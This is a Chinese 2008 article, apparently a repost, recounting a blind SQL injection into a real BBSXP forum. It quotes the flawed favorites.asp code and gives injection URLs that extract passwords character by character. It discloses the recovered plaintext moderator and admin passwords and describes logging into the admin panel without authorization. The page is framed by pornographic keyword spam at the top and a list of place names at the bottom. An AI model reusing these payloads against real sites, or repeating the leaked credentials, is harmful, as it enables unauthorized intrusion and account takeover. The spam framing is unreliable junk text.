最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

利用最基本的SQL注入滲透BBSXP官方網(wǎng)站的臺后管理

互聯(lián)網(wǎng)   發(fā)布時間:2008-10-08 19:37:57   作者:佚名   我要評論
漏洞分析 序: 有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性! 他非常的cool,i like!呵呵,不知道你看過這部電影沒有? 不過,我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
漏洞分析
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性!
他非常的cool,i like!呵呵,不知道你看過這部電影沒有?
不過,我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
過程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前臺區(qū)長密碼.
3.利用漏洞,得到后臺密碼.
4.添加公告,閃人! 開始工作: 到bbsxp官方網(wǎng)站下載最新的bbsxp。 第一步:找出漏洞,并分析漏洞.這個漏洞存在于用戶添加收藏功能中 相應的asp文件:favorites.asp
//*************************源代碼***************************************************//
<% if request.cookies("username")="" then
error("
您還還未登陸社區(qū)")
end if select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已經(jīng)添加到網(wǎng)絡收藏夾!") case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的無用代碼略掉********************************// 看到代碼了,首先要注冊使用本功能.
然后在這個asp文件中提交的參數(shù)有:menu,id就這兩個值.
大家看看,當提交的menu=del的時候。哈哈!調(diào)用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值沒有過濾直接加入到sql語句中了。 攻擊演示 第二步,利用漏洞,得到前臺管理員密碼. 接到上面的來。我們測試一下這個漏洞是不是存在.
自己先添加一個收藏地址進去.得到收藏的id號(我們得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,實際上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那個request.cookies("username").他直接就等于你進來的用戶名.
提交后,發(fā)現(xiàn)我們收藏的文件被del了。證明有這個漏洞,沒有打上補丁。 現(xiàn)在我找到漏洞了,呵呵~!點支煙吧!!打開數(shù)據(jù)庫查看數(shù)據(jù)庫結(jié)構(gòu)。
保存數(shù)據(jù)庫的用戶名字段為:username 密碼字段為:userpass(注:密碼是明碼,沒有經(jīng)過任何加密)
我們現(xiàn)在就來得到一個區(qū)長的密碼吧。在首頁看到區(qū)長的名字有一個叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 對sql語句了解的戰(zhàn)友們都知道,當where條件后面為真的情況下,才會執(zhí)行這條語句!
執(zhí)行這條語句的結(jié)果就是del一條自己的收藏地址,那么我們的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果為真的話就del了id為576的收藏地址.
看一下。這條語句,當用戶名是kongweb,當密碼長度為5的時候,就有一條記錄返回。
count(*)的意思就是返回滿足條件的記錄總數(shù),剛好為1條。也就是說等式正立。
當然不成功,是不會del了收藏地址的。 最后我們改變長度值. 結(jié)果出來了當長度等于9的時候。del了收藏地址。
證明kongweb這個區(qū)長的密碼為:9位.
好了,我們開工吧, 我們來破他的第一位密碼。不過我們在先破密碼的時候,要多加點收藏地址。
因為正確一個就會del一個收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
這里說一個mid函數(shù)的用法:
mid(字符串,起始位置,長度) 這是一個取字符串中特定位置,特定長度的一個函數(shù).
我們mid(userpass,1,1)=a表示取出密碼的第一位看是不是a 注:一定要加上單引號不錯會出錯. 本來我打算用我寫的破解程序的來直接破解的,不過我們連到他的bbs網(wǎng)站上特別的慢。也不知道為什么。
所以,程序半天都跑不出來。也就只有手工猜了.
第一位密碼幾分種后才猜出來。 當我們提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的時候,我們del了,收藏地址id為588的記錄.
在ie中沒有看到那條記錄了。證明成功了。好,現(xiàn)在換id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就這樣重復的提交和修改,最后得出密碼是:kdjkdjkdj 這里來介紹一下簡單的方法,可以用取字符asc碼的辦法縮小范圍的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.證明第一個字符的asc碼大于100。
相反,你也可以這樣測試:..asc(mid(userpass,1,1))<105
如果正確,那么這個字符的asc碼就是:100-105之間了。最后確定,比如:當asc(mid(userpass,1,1))=103
如果del了收藏,就得到這個字符的asc碼了。再用相應的工具轉(zhuǎn)成e文母就ok了。[我寫了有這樣的程序,要的朋友請與我聯(lián)系]
這里沒有用這種方法,是因為這里要添加太多的收藏地址才行。因為用范圍去比較的話,正立的機會很大,當成立就會del收藏的。所以我們還是一位一位的取吧。
添加收藏也慢得要死。
好了,看來第二步的任務已經(jīng)完成了。我們得到了區(qū)長:kongweb 密碼:kdjkdjkdj 第三步:得到后臺管理密碼; 看一下他的庫結(jié)構(gòu),發(fā)現(xiàn)了clubconfig這個表中有一個字段叫:adminpassword是用來保存密碼字段的.并且也是明密保存的.
我們要的就是他。我們就要取到這個字段的值.
這個庫中一般都就只有一條記錄。所以他的count(*) 也就只有一條. 再次利用我們第二步的漏洞.進行猜解.
一樣的辦法。得到后臺密碼長度為:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
剛好正確。
想到了,剛才前臺的密碼也是9位。不會前臺和后臺的密碼相同吧,測試一下。結(jié)果不正確。和前臺的密碼不一樣。也只有慢慢的猜了。 猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出來了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出來了。前兩位是bb. 呵呵,你的社會工程學,學得怎么樣????聯(lián)想一下。我們想到了bbs呵呵,我們想到前三位可能是bbs試試吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太對了。再發(fā)揮你的社會工程學方面的功能。又想到了bbsxp因為他是的網(wǎng)站開發(fā)的產(chǎn)品嘛。一般人都是這樣的。試試。 現(xiàn)在我們用left函數(shù)取前5位
說明一個函數(shù):left(字符串,長度)就是從字符串第一位開始,取長度個值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又對了。呵呵,還有四位,想不出來了。我們又破到了兩位.
前七位就是:bbsxpco還有兩位了。想一下。co加兩位什么好呢?呵呵,社會工程學,學得沒有別人好啊。
兄弟們都想了好久,最后想到了cool試試吧!??!
最了,最后居然對了。就是cool密碼就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 現(xiàn)在有前臺的賬號,和后臺的密碼。進去發(fā)布公告吧! 第四步:發(fā)布公告.
進入后臺我們發(fā)布了記他注意腳本安全的公告,然后閃人! 結(jié)束句:
前段時間測試動網(wǎng)官方論壇,也一樣的有漏洞,今天測試bbsxp還有這么低級的錯誤,我們在這里先向我們?nèi)肭诌^的動網(wǎng),以及bbsxp道歉!
我們并不是惡意的攻擊,我們只是為了網(wǎng)絡更加安全,測試了一下你們的論壇!希望你們以后會寫得更好!
我們也一樣會努力認真的再次對你們的論壇進行測試的。

相關文章

最新評論

通江县| 那曲县| 谢通门县| 邵东县| 荃湾区| 习水县| 临武县| 临湘市| 山东省| 上饶市| 沭阳县| 景德镇市| 招远市| 红桥区| 哈尔滨市| 农安县| 阿图什市| 龙里县| 禄劝| 溧水县| 石城县| 大庆市| 宁都县| 易门县| 龙江县| 临澧县| 塔城市| 云南省| 砀山县| 静乐县| 新巴尔虎左旗| 巫山县| 西藏| 江都市| 虞城县| 佛山市| 华阴市| 西乌| 巨野县| 福海县| 章丘市|